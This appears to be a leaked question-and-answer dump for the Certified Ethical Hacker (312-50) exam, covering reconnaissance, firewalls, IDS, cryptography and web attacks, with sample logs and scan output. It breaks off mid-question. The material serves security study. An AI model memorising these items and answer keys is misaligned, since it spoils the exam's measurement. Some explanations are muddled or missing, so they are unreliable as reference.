ECCouncil 312-50 Questions & Answers

Certified Ethical Hacker Exam

Version: 1.1

Topic 1, Background

QUESTION NO: 1

Which of the following is a hardware requirement that either an IDS/IPS system or a proxy server must have in order to properly function?

A.
Fast processor to help with network traffic analysis

B.
They must be dual-homed

C.
Similar RAM requirements

D.
Fast network interface cards

Answer: B

Explanation:
Dual-homed or dual-homing can refer to either an Ethernet device that has more than one network interface, for redundancy purposes, or in firewall technology, dual-homed is one of the firewall architectures, such as an IDS/IPS system, for implementing preventive security.

References: https://en.wikipedia.org/wiki/Dual-homed

QUESTION NO: 2

Which of the following is an application that requires a host application for replication?

A.
Micro

B.
Worm

C.
Trojan

D.
Virus

Answer: D

Explanation:
Computer viruses infect a variety of different subsystems on their hosts. A computer virus is a malware that, when executed, replicates by reproducing it self or infecting other programs by modifying them. Infecting computer programs can include as well, data files, or the boot sector of the hard drive. When this replication succeeds, the affected areas are then said to be "infected".

References: https://en.wikipedia.org/wiki/Computer_virus

QUESTION NO: 3

A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the corporate network. What tool should the analyst use to perform a Blackjacking attack?

A.
Paros Proxy

B.
BBProxy

C.
BBCrack

D.
Blooover

Answer: B

Explanation:
Blackberry users warned of hacking tool threat.

Users have been warned that the security of Blackberry wireless e-mail devices is at risk due to the availability this week of a new hacking tool. Secure Computing Corporation said businesses that have installed Blackberry servers behind their gateway security devices could be vulnerable to a hacking attack from a tool call BBProxy.

References: http://www.computerweekly.com/news/2240062112/Technology-news-in-brief

QUESTION NO: 4

Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?

A.
Restore a random file.

B.
Perform a full restore.

C.
Read the first 512 bytes of the tape.

D.
Read the last 512 bytes of the tape.

Answer: B

Explanation:
A full restore is required.

QUESTION NO: 5

Which of the following describes the characteristics of a Boot Sector Virus?

A.
Moves the MBR to another location on the RAM and copies itself to the original location of the MBR

B.
Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR

C.
Modifies directory table entries so that directory entries point to the virus code instead of the actual program

D.
Overwrites the original MBR and only executes the new virus code

Answer: B

Explanation:
A boot sector virus is a computer virus that infects a storage device's master boot record (MBR).

The virus moves the boot sector to another location on the hard drive.

References: https://www.techopedia.com/definition/26655/boot-sector-virus

QUESTION NO: 6

Which statement is TRUE regarding network firewalls preventing Web Application attacks?

A.
Network firewalls can prevent attacks because they can detect malicious HTTP traffic.

B.
Network firewalls cannot prevent attacks because ports 80 and 443 must be opened.

C.
Network firewalls can prevent attacks if they are properly configured.

D.
Network firewalls cannot prevent attacks because they are too complex to configure.

Answer: B

Explanation:
Network layer firewalls, also called packet filters, operate at a relatively low level of the TCP/IP protocol stack, not allowing packets to pass through the firewall unless they match the established rule set. To prevent Web Application attacks an Application layer firewall would be required.

References: https://en.wikipedia.org/wiki/Firewall_(computing)#Network_layer_or_packet_filters

QUESTION NO: 7

Which of the following programs is usually targeted at Microsoft Office products?

A.
Polymorphic virus

B.
Multipart virus

C.

Macro virus

D.
Stealth virus

Answer: C

Explanation:
A macro virus is a virus that is written in a macro language: a programming language which is embedded inside a software application (e.g., word processors and spreadsheet applications). Some applications, such as Microsoft Office, allow macro programs to be embedded in documents such that the macros are run automatically when the document is opened, and this provides a distinct mechanism by which malicious computer instructions can spread.

References: https://en.wikipedia.org/wiki/Macro_virus

QUESTION NO: 8

Bluetooth uses which digital modulation technique to exchange information between paired devices?

A.
PSK (phase-shift keying)

B.
FSK (frequency-shift keying)

C.
ASK (amplitude-shift keying)

D.
QAM (quadrature amplitude modulation)

Answer: A

Explanation:
Phase shift keying is the form of Bluetooth modulation used to enable the higher data rates achievable with Bluetooth 2 EDR (Enhanced Data Rate). Two forms of PSK are used: /4 DQPSK, and 8DPSK.

References: http://www.radio-electronics.com/info/wireless/bluetooth/radio-interface-modulation.php

QUESTION NO: 9

In order to show improvement of security over time, what must be developed?

A.
Reports

B.
Testing tools

C.
Metrics

D.
Taxonomy of vulnerabilities

Answer: C

Explanation:
Today, management demands metrics to get a clearer view of security.

Metrics that measure participation, effectiveness, and window of exposure, however, offer information the organization can use to make plans and improve programs.

References: http://www.infoworld.com/article/2974642/security/4-security-metrics-that-matter.html

Topic 2, Analysis/Assessment

QUESTION NO: 10

Passive reconnaissance involves collecting information through which of the following?

A.
Social engineering

B.
Network traffic sniffing

C.
Man in the middle attacks

D.

Publicly accessible sources

Answer: D

Explanation:

QUESTION NO: 11

How can rainbow tables be defeated?

A.
Password salting

B.
Use of non-dictionary words

C.
All uppercase character passwords

D.
Lockout accounts under brute force password cracking attempts

Answer: A

Explanation:

QUESTION NO: 12

The following is a sample of output from a penetration tester's machine targeting a machine with the IP address of 192.168.1.106:

```
[ATTEMPT] target 192.168.1.106 - login "root" - pass "a" 1 of 20
[ATTEMPT] target 192.168.1.106 - login "root" - pass "123" 2 of 20
[ATTEMPT] target 192.168.1.106 - login "testuser" - pass "a" 3 of 20
[ATTEMPT] target 192.168.1.106 - login "testuser" - pass "123" 4 of 20
[ATTEMPT] target 192.168.1.106 - login "admin" - pass "a" 5 of 20
[ATTEMPT] target 192.168.1.106 - login "admin" - pass "123" 6 of 20
[ATTEMPT] target 192.168.1.106 - login "" - pass "a" 7 of 20
[ATTEMPT] target 192.168.1.106 - login "" - pass "123" 8 of 20
```

What is most likely taking place?

A.

Ping sweep of the 192.168.1.106 network

B.
Remote service brute force attempt

C.
Port scan of 192.168.1.106

D.
Denial of service attack on 192.168.1.106

Answer: B
Explanation:

QUESTION NO: 13

An NMAP scan of a server shows port 25 is open. What risk could this pose?

A.
Open printer sharing

B.
Web portal data leak

C.
Clear text authentication

D.
Active mail relay

Answer: D
Explanation:

QUESTION NO: 14

A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?

Starting NMAP 5.21 at 2011-03-15 11:06

NMAP scan report for 172.16.40.65

Host is up (1.00s latency).

Not shown: 993 closed ports

PORT STATE SERVICE

21/tcp open ftp

23/tcp open telnet

80/tcp open http

139/tcp open netbios-ssn

515/tcp open

631/tcp open ipp

9100/tcp open

MAC Address: 00:00:48:0D:EE:89

A.
The host is likely a Windows machine.

B.
The host is likely a Linux machine.

C.
The host is likely a router.

D.
The host is likely a printer.

Answer: D
Explanation:

QUESTION NO: 15

What type of OS fingerprinting technique sends specially crafted packets to the remote OS and analyzes the received response?

A.
Passive

B.
Reflective

C.
Active

D.
Distributive

Answer: C
Explanation:

QUESTION NO: 16

Which of the following lists are valid data-gathering activities associated with a risk assessment?

A.
Threat identification, vulnerability identification, control analysis

B.
Threat identification, response identification, mitigation identification

C.
Attack profile, defense profile, loss profile

D.
System profile, vulnerability identification, security determination

Answer: A
Explanation:

QUESTION NO: 17

A penetration tester is hired to do a risk assessment of a company's DMZ. The rules of engagement states that the penetration test be done from an external IP address with no prior knowledge of the internal IT systems. What kind of test is being performed?

A.
white box

B.

grey box

C.
red box

D.
black box

Answer: D
Explanation:

QUESTION NO: 18

Which of the following is a detective control?

A.
Smart card authentication

B.
Security policy

C.
Audit trail

D.
Continuity of operations plan

Answer: C
Explanation:

QUESTION NO: 19

Which of the following is a component of a risk assessment?

A.
Physical security

B.
Administrative safeguards

C.

DMZ

D.
Logical interface

Answer: B
Explanation:

QUESTION NO: 20

When utilizing technical assessment methods to assess the security posture of a network, which of the following techniques would be most effective in determining whether end-user security training would be beneficial?

A.
Vulnerability scanning

B.
Social engineering

C.
Application security testing

D.
Network sniffing

Answer: B
Explanation:

QUESTION NO: 21

A company has publicly hosted web applications and an internal Intranet protected by a firewall. Which technique will help protect against enumeration?

A.
Reject all invalid email received via SMTP.

B.
Allow full DNS zone transfers.

C.

Remove A records for internal hosts.

D.
Enable null session pipes.

Answer: C
Explanation:

QUESTION NO: 22

Which of the following techniques will identify if computer files have been changed?

A.
Network sniffing

B.
Permission sets

C.
Integrity checking hashes

D.
Firewall alerts

Answer: C
Explanation:

QUESTION NO: 23

Which system consists of a publicly available set of databases that contain domain name registration contact information?

A.
WHOIS

B.
IANA

C.
CAPTCHA

D.
IETF

Answer: A
Explanation:

QUESTION NO: 24

A penetration tester was hired to perform a penetration test for a bank. The tester began searching for IP ranges owned by the bank, performing lookups on the bank's DNS servers, reading news articles online about the bank, watching what times the bank employees come into work and leave from work, searching the bank's job postings (paying special attention to IT related jobs), and visiting the local dumpster for the bank's corporate office. What phase of the penetration test is the tester currently in?

A.
Information reporting

B.
Vulnerability assessment

C.
Active information gathering

D.
Passive information gathering

Answer: D
Explanation:

QUESTION NO: 25

The following is part of a log file taken from the machine on the network with the IP address of 192.168.1.106:

Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP

What type of activity has been logged?

A.
Port scan targeting 192.168.1.103

B.
Teardrop attack targeting 192.168.1.106

C.
Denial of service attack targeting 192.168.1.103

D.
Port scan targeting 192.168.1.106

Answer: D
Explanation:

QUESTION NO: 26

A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much information can be obtained from the firm's public facing web servers. The engineer decides to start by using netcat to port 80.

The engineer receives this output:

HTTP/1.1 200 OK

Server: Microsoft-IIS/6

Expires: Tue, 17 Jan 2011 01:41:33 GMT

Date: Mon, 16 Jan 2011 01:41:33 GMT

Content-Type: text/html

Accept-Ranges: bytes

Last-Modified: Wed, 28 Dec 2010 15:32:21 GMT

ETag: "b0aac0542e25c31:89d"

Content-Length: 7369

Which of the following is an example of what the engineer performed?

A.
Cross-site scripting

B.
Banner grabbing

C.
SQL injection

D.
Whois database query

Answer: B

Explanation:

QUESTION NO: 27

An NMAP scan of a server shows port 69 is open. What risk could this pose?

A.
Unauthenticated access

B.
Weak SSL version

C.
Cleartext login

D.
Web portal data leak

Answer: A

Explanation:

QUESTION NO: 28

What information should an IT system analysis provide to the risk assessor?

A.
Management buy-in

B.
Threat statement

C.
Security architecture

D.
Impact analysis

Answer: C

Explanation:

QUESTION NO: 29

Which results will be returned with the following Google search query?

site:target.com -site:Marketing.target.com accounting

A.
Results matching all words in the query

B.
Results matching “accounting” in domain target.com but not on the site Marketing.target.com

C.
Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting

D.
Results for matches on target.com and Marketing.target.com that include the word “accounting”

Answer: B

Explanation:

QUESTION NO: 30

A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?

A.
Perform a vulnerability scan of the system.

B.
Determine the impact of enabling the audit feature.

C.
Perform a cost/benefit analysis of the audit feature.

D.
Allocate funds for staffing of audit log review.

Answer: B
Explanation:

QUESTION NO: 31

Which of the following is a preventive control?

A.
Smart card authentication

B.
Security policy

C.
Audit trail

D.
Continuity of operations plan

Answer: A
Explanation:

QUESTION NO: 32

Which of the following is considered an acceptable option when managing a risk?

A.
Reject the risk.

B.
Deny the risk.

C.
Mitigate the risk.

D.
Initiate the risk.

Answer: C
Explanation:

QUESTION NO: 33

Which security control role does encryption meet?

A.
Preventative

B.
Detective

C.
Offensive

D.
Defensive

Answer: A
Explanation:

QUESTION NO: 34

A covert channel is a channel that

A.
transfers information over, within a computer system, or network that is outside of the security policy.

B.
transfers information over, within a computer system, or network that is within the security policy.

C.
transfers information via a communication path within a computer system, or network for transfer of data.

D.
transfers information over, within a computer system, or network that is encrypted.

Answer: A
Explanation:

QUESTION NO: 35

John the Ripper is a technical assessment tool used to test the weakness of which of the following?

A.
Usernames

B.
File permissions

C.
Firewall rulesets

D.
Passwords

Answer: D
Explanation:

QUESTION NO: 36

Least privilege is a security concept that requires that a user is

A.
limited to those functions required to do the job.

B.

given root or administrative privileges.

C.
trusted to keep all data and access to that data under their sole control.

D.
given privileges equal to everyone else in the department.

Answer: A
Explanation:

QUESTION NO: 37

If the final set of security controls does not eliminate all risk in a system, what could be done next?

A.
Continue to apply controls until there is zero risk.

B.
Ignore any remaining risk.

C.
If the residual risk is low enough, it can be accepted.

D.
Remove current controls since they are not completely effective.

Answer: C
Explanation:

QUESTION NO: 38

What is one thing a tester can do to ensure that the software is trusted and is not changing or tampering with critical data on the back end of a system it is loaded on?

A.
Proper testing

B.
Secure coding principles

C.
Systems security and architecture review

D.
Analysis of interrupts within the software

Answer: D
Explanation:

Topic 3, Security

QUESTION NO: 39

Which of the following examples best represents a logical or technical control?

A.
Security tokens

B.
Heating and air conditioning

C.
Smoke and fire alarms

D.
Corporate security policy

Answer: A
Explanation:

QUESTION NO: 40

Which type of access control is used on a router or firewall to limit network activity?

A.
Mandatory

B.
Discretionary

C.

Rule-based

D.
Role-based

Answer: C
Explanation:

QUESTION NO: 41

At a Windows Server command prompt, which command could be used to list the running services?

A.
Sc query type= running

B.
Sc query \\servername

C.
Sc query

D.
Sc config

Answer: C
Explanation:

QUESTION NO: 42

Windows file servers commonly hold sensitive files, databases, passwords and more. Which of the following choices would be a common vulnerability that usually exposes them?

A.
Cross-site scripting

B.
SQL injection

C.
Missing patches

D.
CRLF injection

Answer: C
Explanation:

QUESTION NO: 43

While conducting a penetration test, the tester determines that there is a firewall between the tester's machine and the target machine. The firewall is only monitoring TCP handshaking of packets at the session layer of the OSI model. Which type of firewall is the tester trying to traverse?

A.
Packet filtering firewall

B.
Application-level firewall

C.
Circuit-level gateway firewall

D.
Stateful multilayer inspection firewall

Answer: C
Explanation:

QUESTION NO: 44

A company firewall engineer has configured a new DMZ to allow public systems to be located away from the internal network. The engineer has three security zones set:

Untrust (Internet) – (Remote network = 217.77.88.0/24)

DMZ (DMZ) – (11.12.13.0/24)

Trust (Intranet) – (192.168.0.0/24)

The engineer wants to configure remote desktop access from a fixed IP on the remote network to

a remote desktop server in the DMZ. Which rule would best fit this requirement?

A.
Permit 217.77.88.0/24 11.12.13.0/24 RDP 3389

B.
Permit 217.77.88.12 11.12.13.50 RDP 3389

C.
Permit 217.77.88.12 11.12.13.0/24 RDP 3389

D.
Permit 217.77.88.0/24 11.12.13.50 RDP 3389

Answer: B
Explanation:

QUESTION NO: 45

A circuit level gateway works at which of the following layers of the OSI Model?

A.
Layer 5 - Application

B.
Layer 4 – TCP

C.
Layer 3 – Internet protocol

D.
Layer 2 – Data link

Answer: B
Explanation:

QUESTION NO: 46

Which of the following is a symmetric cryptographic standard?

A.

DSA

B.
PKI

C.
RSA

D.
3DES

Answer: D
Explanation:

QUESTION NO: 47

A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted.

Which cryptography attack is the student attempting?

A.
Man-in-the-middle attack

B.
Brute-force attack

C.
Dictionary attack

D.
Session hijacking

Answer: C
Explanation:

QUESTION NO: 48

Which property ensures that a hash function will not produce the same hashed value for two different messages?

A.
Collision resistance

B.
Bit length

C.
Key strength

D.
Entropy

Answer: A

Explanation:

QUESTION NO: 49

How can telnet be used to fingerprint a web server?

A.
telnet webserverAddress 80

HEAD / HTTP/1.0

B.
telnet webserverAddress 80

PUT / HTTP/1.0

C.
telnet webserverAddress 80

HEAD / HTTP/2.0

D.
telnet webserverAddress 80

PUT / HTTP/2.0

Answer: A

Explanation:

QUESTION NO: 50

Low humidity in a data center can cause which of the following problems?

A.
Heat

B.
Corrosion

C.
Static electricity

D.
Airborne contamination

Answer: C

Explanation:

QUESTION NO: 51

A consultant is hired to do physical penetration testing at a large financial company. In the first day of his assessment, the consultant goes to the company`s building dressed like an electrician and waits in the lobby for an employee to pass through the main access gate, then the consultant follows the employee behind to get into the restricted area. Which type of attack did the consultant perform?

A.
Man trap

B.
Tailgating

C.
Shoulder surfing

D.
Social engineering

Answer: B

Explanation:

QUESTION NO: 52

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's computer to update the router configuration. What type of an alert is this?

A.
False positive

B.
False negative

C.
True positve

D.
True negative

Answer: A

Explanation:

QUESTION NO: 53

While performing data validation of web content, a security technician is required to restrict malicious input. Which of the following processes is an efficient way of restricting malicious input?

A.
Validate web content input for query strings.

B.
Validate web content input with scanning tools.

C.
Validate web content input for type, length, and range.

D.
Validate web content input for extraneous queries.

Answer: C

Explanation:

QUESTION NO: 54

A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop anti-virus and E-mail gateway. This approach can be used to mitigate which kind of attack?

A.
Forensic attack

B.
ARP spoofing attack

C.
Social engineering attack

D.
Scanning attack

Answer: C

Explanation:

QUESTION NO: 55

Which of the following resources does NMAP need to be used as a basic vulnerability scanner covering several vectors like SMB, HTTP and FTP?

A.
Metasploit scripting engine

B.
Nessus scripting engine

C.
NMAP scripting engine

D.
SAINT scripting engine

Answer: C

Explanation:

QUESTION NO: 56

Which of the following scanning tools is specifically designed to find potential exploits in Microsoft Windows products?

A.
Microsoft Security Baseline Analyzer

B.
Retina

C.
Core Impact

D.
Microsoft Baseline Security Analyzer

Answer: D

Explanation:

QUESTION NO: 57

A security analyst is performing an audit on the network to determine if there are any deviations from the security policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed. Which security policy must the security analyst check to see if dial-out modems are allowed?

A.
Firewall-management policy

B.
Acceptable-use policy

C.
Remote-access policy

D.
Permissive policy

Answer: C

Explanation:

QUESTION NO: 58

When creating a security program, which approach would be used if senior management is supporting and enforcing the security policy?

A.
A bottom-up approach

B.
A top-down approach

C.
A senior creation approach

D.
An IT assurance approach

Answer: B

Explanation:

QUESTION NO: 59

Which of the following processes evaluates the adherence of an organization to its stated security policy?

A.
Vulnerability assessment

B.
Penetration testing

C.
Risk assessment

D.
Security auditing

Answer: D

Explanation:

QUESTION NO: 60

A security consultant is trying to bid on a large contract that involves penetration testing and reporting. The company accepting bids wants proof of work so the consultant prints out several audits that have been performed. Which of the following is likely to occur as a result?

A.
The consultant will ask for money on the bid because of great work.

B.
The consultant may expose vulnerabilities of other companies.

C.
The company accepting bids will want the same type of format of testing.

D.
The company accepting bids will hire the consultant because of the great work performed.

Answer: B

Explanation:

QUESTION NO: 61

Which type of scan is used on the eye to measure the layer of blood vessels?

A.
Facial recognition scan

B.
Retinal scan

C.
Iris scan

D.
Signature kinetics scan

Answer: B

Explanation:

QUESTION NO: 62

What is the main reason the use of a stored biometric is vulnerable to an attack?

A.
The digital representation of the biometric might not be unique, even if the physical characteristic is unique.

B.
Authentication using a stored biometric compares a copy to a copy instead of the original to a copy.

C.
A stored biometric is no longer "something you are" and instead becomes "something you have".

D.
A stored biometric can be stolen and used by an attacker to impersonate the individual identified by the biometric.

Answer: D

Explanation:

QUESTION NO: 63

During a wireless penetration test, a tester detects an access point using WPA2 encryption. Which of the following attacks should be used to obtain the key?

A.
The tester must capture the WPA2 authentication handshake and then crack it.

B.
The tester must use the tool inSSIDer to crack it using the ESSID of the network.

C.
The tester cannot crack WPA2 because it is in full compliance with the IEEE 802.11i standard.

D.
The tester must change the MAC address of the wireless network card and then use the AirTraf tool to obtain the key.

Answer: A

Explanation:

QUESTION NO: 64

Which type of antenna is used in wireless communication?

A.
Omnidirectional

B.
Parabolic

C.
Uni-directional

D.
Bi-directional

Answer: A

Explanation:

QUESTION NO: 65

What is the name of the international standard that establishes a baseline level of confidence in the security functionality of IT products by providing a set of requirements for evaluation?

A.
Blue Book

B.
ISO 26029

C.
Common Criteria

D.
The Wassenaar Agreement

Answer: C

Explanation:

QUESTION NO: 66

One way to defeat a multi-level security solution is to leak data via

A.
a bypass regulator.

B.
steganography.

C.
a covert channel.

D.
asymmetric routing.

Answer: C
Explanation:

QUESTION NO: 67

Which of the following conditions must be given to allow a tester to exploit a Cross-Site Request Forgery (CSRF) vulnerable web application?

A.
The victim user must open the malicious link with an Internet Explorer prior to version 8.

B.
The session cookies generated by the application do not have the HttpOnly flag set.

C.
The victim user must open the malicious link with a Firefox prior to version 3.

D.
The web application should not use random tokens.

Answer: D
Explanation:

QUESTION NO: 68

What is the main difference between a “Normal” SQL Injection and a “Blind” SQL Injection vulnerability?

A.
The request to the web server is not visible to the administrator of the vulnerable application.

B.
The attack is called “Blind” because, although the application properly filters user input, it is still vulnerable to code injection.

C.
The successful attack does not show an error message to the administrator of the affected application.

D.
The vulnerable application does not display errors with information about the injection results to the attacker.

Answer: D

Explanation:

QUESTION NO: 69

During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The tester assumes that the service is running with Local System account. How can this weakness be exploited to access the system?

A.
Using the Metasploit psexec module setting the SA / Admin credential

B.
Invoking the stored procedure xp_shell to spawn a Windows command shell

C.
Invoking the stored procedure cmd_shell to spawn a Windows command shell

D.
Invoking the stored procedure xp_cmdshell to spawn a Windows command shell

Answer: D

Explanation:

QUESTION NO: 70

The precaution of prohibiting employees from bringing personal computing devices into a facility is

what type of security control?

A.
Physical

B.
Procedural

C.
Technical

D.
Compliance

Answer: B

Explanation:

QUESTION NO: 71

A pentester gains access to a Windows application server and needs to determine the settings of the built-in Windows firewall. Which command would be used?

A.
Netsh firewall show config

B.
WMIC firewall show config

C.
Net firewall show config

D.
Ipconfig firewall show config

Answer: A

Explanation:

QUESTION NO: 72

Which of the following types of firewall inspects only header information in network traffic?

A.
Packet filter

B.
Stateful inspection

C.
Circuit-level gateway

D.
Application-level gateway

Answer: A
Explanation:

QUESTION NO: 73

During a penetration test, the tester conducts an ACK scan using NMAP against the external interface of the DMZ firewall. NMAP reports that port 80 is unfiltered. Based on this response, which type of packet inspection is the firewall conducting?

A.
Host

B.
Stateful

C.
Stateless

D.
Application

Answer: C
Explanation:

QUESTION NO: 74

Firewalk has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results?

TCP port 21 – no response

TCP port 22 – no response

TCP port 23 – Time-to-live exceeded

A.
The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host.

B.
The lack of response from ports 21 and 22 indicate that those services are not running on the destination server.

C.
The scan on port 23 passed through the filtering device. This indicates that port 23 was not blocked at the firewall.

D.
The scan on port 23 was able to make a connection to the destination host prompting the firewall to respond with a TTL error.

Answer: C
Explanation:

QUESTION NO: 75

Which of the following is an example of an asymmetric encryption implementation?

A.
SHA1

B.
PGP

C.
3DES

D.
MD5

Answer: B
Explanation:

QUESTION NO: 76

A hacker was able to sniff packets on a company's wireless network. The following information was discovered:

The Key 10110010 01001011

The Cyphertext 01100101 01011010

Using the Exlcusive OR, what was the original message?

A.
00101000 11101110

B.
11010111 00010001

C.
00001101 10100100

D.
11110010 01011011

Answer: B
Explanation:

QUESTION NO: 77

Which of the following cryptography attack methods is usually performed without the use of a computer?

A.
Ciphertext-only attack

B.
Chosen key attack

C.
Rubber hose attack

D.
Rainbow table attack

Answer: C
Explanation:

QUESTION NO: 78

Which of the following is a strong post designed to stop a car?

A.
Gate

B.
Fence

C.
Bollard

D.
Reinforced rebar

Answer: C
Explanation:

QUESTION NO: 79

A Network Administrator was recently promoted to Chief Security Officer at a local university. One of employee's new responsibilities is to manage the implementation of an RFID card access system to a new server room on campus. The server room will house student enrollment information that is securely backed up to an off-site location.

During a meeting with an outside consultant, the Chief Security Officer explains that he is concerned that the existing security controls have not been designed properly. Currently, the Network Administrator is responsible for approving and issuing RFID card access to the server room, as well as reviewing the electronic access logs on a weekly basis.

Which of the following is an issue with the situation?

A.
Segregation of duties

B.

Undue influence

C.
Lack of experience

D.
Inadequate disaster recovery plan

Answer: A
Explanation:

QUESTION NO: 80

What is the most secure way to mitigate the theft of corporate information from a laptop that was left in a hotel room?

A.
Set a BIOS password.

B.
Encrypt the data on the hard drive.

C.
Use a strong logon password to the operating system.

D.
Back up everything on the laptop and store the backup in a safe place.

Answer: B
Explanation:

QUESTION NO: 81

In the software security development life cycle process, threat modeling occurs in which phase?

A.
Design

B.
Requirements

C.
Verification

D.
Implementation

Answer: A
Explanation:

QUESTION NO: 82

A network administrator received an administrative alert at 3:00 a.m. from the intrusion detection system. The alert was generated because a large number of packets were coming into the network over ports 20 and 21. During analysis, there were no signs of attack on the FTP servers. How should the administrator classify this situation?

A.
True negatives

B.
False negatives

C.
True positives

D.
False positives

Answer: D
Explanation:

QUESTION NO: 83

Which of the following techniques does a vulnerability scanner use in order to detect a vulnerability on a target service?

A.
Port scanning

B.
Banner grabbing

C.
Injecting arbitrary data

D.
Analyzing service response

Answer: D

Explanation:

QUESTION NO: 84

Which of the following business challenges could be solved by using a vulnerability scanner?

A.
Auditors want to discover if all systems are following a standard naming convention.

B.
A web server was compromised and management needs to know if any further systems were compromised.

C.
There is an emergency need to remove administrator access from multiple machines for an employee that quit.

D.
There is a monthly requirement to test corporate compliance with host application usage and security policies.

Answer: D

Explanation:

QUESTION NO: 85

A security policy will be more accepted by employees if it is consistent and has the support of

A.
coworkers.

B.
executive management.

C.
the security officer.

D.
a supervisor.

Answer: B
Explanation:

QUESTION NO: 86

A company has hired a security administrator to maintain and administer Linux and Windows-based systems. Written in the nightly report file is the following:

Firewall log files are at the expected value of 4 MB. The current time is 12am. Exactly two hours later the size has decreased considerably. Another hour goes by and the log files have shrunk in size again.

Which of the following actions should the security administrator take?

A.
Log the event as suspicious activity and report this behavior to the incident response team immediately.

B.
Log the event as suspicious activity, call a manager, and report this as soon as possible.

C.
Run an anti-virus scan because it is likely the system is infected by malware.

D.
Log the event as suspicious activity, continue to investigate, and act according to the site's security policy.

Answer: D
Explanation:

QUESTION NO: 87

Which type of scan measures a person's external features through a digital video camera?

A.
Iris scan

B.
Retinal scan

C.
Facial recognition scan

D.
Signature kinetics scan

Answer: C
Explanation:

QUESTION NO: 88

WPA2 uses AES for wireless data encryption at which of the following encryption levels?

A.
64 bit and CCMP

B.
128 bit and CRC

C.
128 bit and CCMP

D.
128 bit and TKIP

Answer: C
Explanation:

QUESTION NO: 89

An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?

A.
Classified

B.
Overt

C.
Encrypted

D.
Covert

Answer: D

Explanation:

QUESTION NO: 90

What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?

A.
Injecting parameters into a connection string using semicolons as a separator

B.
Inserting malicious Javascript code into input parameters

C.
Setting a user's session identifier (SID) to an explicit known value

D.
Adding multiple parameters with the same name in HTTP requests

Answer: A

Explanation:

QUESTION NO: 91

A newly discovered flaw in a software application would be considered which kind of security vulnerability?

A.
Input validation flaw

B.
HTTP header injection vulnerability

C.
0-day vulnerability

D.
Time-to-check to time-to-use flaw

Answer: C
Explanation:

QUESTION NO: 92

During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?

A.
The web application does not have the secure flag set.

B.
The session cookies do not have the HttpOnly flag set.

C.
The victim user should not have an endpoint security solution.

D.
The victim's browser must have ActiveX technology enabled.

Answer: B
Explanation:

QUESTION NO: 93

The use of alert thresholding in an IDS can reduce the volume of repeated alerts, but introduces which of the following vulnerabilities?

A.
An attacker, working slowly enough, can evade detection by the IDS.

B.
Network packets are dropped if the volume exceeds the threshold.

C.
Thresholding interferes with the IDS' ability to reassemble fragmented packets.

D.
The IDS will not distinguish among packets originating from different sources.

Answer: A
Explanation:

QUESTION NO: 94

What is the main advantage that a network-based IDS/IPS system has over a host-based solution?

A.
They do not use host system resources.

B.
They are placed at the boundary, allowing them to inspect all traffic.

C.
They are easier to install and configure.

D.
They will not interfere with user interfaces.

Answer: A
Explanation:

QUESTION NO: 95

The network administrator for a company is setting up a website with e-commerce capabilities. Packet sniffing is a concern because credit card information will be sent electronically over the Internet. Customers visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and decrypt the data?

A.
Asymmetric

B.
Confidential

C.
Symmetric

D.
Non-confidential

Answer: A
Explanation:

Topic 4, Tools /Systems /Programs

QUESTION NO: 96

When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following?

A.
Drops the packet and moves on to the next one

B.
Continues to evaluate the packet until all rules are checked

C.
Stops checking rules, sends an alert, and lets the packet continue

D.
Blocks the connection with the source IP address in the packet

Answer: B
Explanation:

QUESTION NO: 97

Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them?

A.
Detective

B.
Passive

C.
Intuitive

D.
Reactive

Answer: B
Explanation:

QUESTION NO: 98

An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?

A.
The wireless card was not turned on.

B.
The wrong network card drivers were in use by Wireshark.

C.
On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.

D.
Certain operating systems and adapters do not collect the management or control packets.

Answer: D
Explanation:

QUESTION NO: 99

From the two screenshots below, which of the following is occurring?

First one:

1 [10.0.0.253]# nmap -sP 10.0.0.0/24

2

3 Starting Nmap

5 Host 10.0.0.1 appears to be up.

6 MAC Address: 00:09:5B:29:FD:96 (Netgear)

7 Host 10.0.0.2 appears to be up.

8 MAC Address: 00:0F:B5:96:38:5D (Netgear)

9 Host 10.0.0.4 appears to be up.

10 Host 10.0.0.5 appears to be up.

